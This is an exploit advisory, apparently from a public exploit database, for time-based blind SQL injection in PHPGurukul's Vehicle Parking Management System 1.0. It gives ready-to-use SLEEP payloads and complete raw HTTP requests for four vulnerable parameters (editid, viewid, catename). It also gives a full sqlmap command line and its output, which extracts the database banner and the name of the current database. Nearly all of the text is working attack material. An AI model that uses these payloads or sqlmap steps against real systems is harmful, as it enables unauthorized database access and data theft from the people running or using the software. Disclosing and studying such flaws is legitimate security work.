# Exploit Title: Vehicle Parking Management System - Multiple time-based SQL Injection
# Date: 2021-07-09
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10, XAMPP


################
# Description  #
################

# The system is vulnerable to time-based SQL injection on multiple endpoints. Based on the SLEEP(N) function payload that will sleep for a number of seconds used on the mentioned parameters below, the server response is about (N) seconds delay respectively which mean it is vulnerable to MySQL Blind (Time Based). An attacker can use sqlmap to further the exploitation for extracting sensitive information from the database.


#####################
# PoC of detection  #
#####################


PoC #1) param editid - time-based SQLi
Payload: '+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+
Request: The response duration = 3251 bytes | 5,024 millis
========

GET /vpms/edit-category.php?editid=5'+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-category.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


PoC #2) param viewid - time-based SQLi
Payload: '+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+
Request: The response duration = 10234 bytes | 5,027 millis
========

GET /vpms/view-outgoingvehicle-detail.php?viewid=4'+AND+(SELECT+5+FROM+(SELECT(SLEEP(5)))B)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-outgoingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


PoC #3) param catename - time-based SQLi
Payload: ' AND (SELECT 1 FROM (SELECT(SLEEP(2)))A) AND 'B'='B
Request: The response duration = 10234 bytes | 2,037 millis
========

POST /vpms/add-category.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/add-category.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryps9OB3CnjLULpt3n
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 290

------WebKitFormBoundaryps9OB3CnjLULpt3n
Content-Disposition: form-data; name="catename"

VIP' AND (SELECT 1 FROM (SELECT(SLEEP(2)))A) AND 'B'='B
------WebKitFormBoundaryps9OB3CnjLULpt3n
Content-Disposition: form-data; name="submit"

žée
------WebKitFormBoundaryps9OB3CnjLULpt3n--

---


PoC #4) param viewid - time-based SQLi
Payload: '+AND+(SELECT+7+FROM+(SELECT(SLEEP(3)))A)--+
Request: The response duration = 11452 bytes | 3,041 millis
========

GET /vpms/view-incomingvehicle-detail.php?viewid=7'+AND+(SELECT+7+FROM+(SELECT(SLEEP(3)))A)--+ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=01nt1pa7lgtioktv5ii907c8l3
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-incomingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---


########################
# PoC of exploitation  #
########################

# Run sqlmap to extract current database name:

$ sqlmap -u "http://localhost/vpms/edit-category.php?editid=5" --cookie="PHPSESSID=01nt1pa7lgtioktv5ii907c8l3" --timeout=30 --retries=3 -p "editid" --dbms="MySQL" --level=3 --risk=3 --threads=10 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T


###########
# Output  #
###########


[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'editid' might not be injectable
[INFO] testing for SQL injection on GET parameter 'editid'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                                                                                    
[INFO] GET parameter 'editid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] Y
[INFO] checking if the injection point on GET parameter 'editid' is a false positive
GET parameter 'editid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests:
---
Parameter: editid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: editid=5' AND (SELECT 7492 FROM (SELECT(SLEEP(5)))DaOq)-- Otxt
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[INFO] retrieved: 
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
10.1.19-MariaDB
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieving the length of query output
[INFO] retrieved: 6
[INFO] retrieved: vpmsdb           
current database: 'vpmsdb'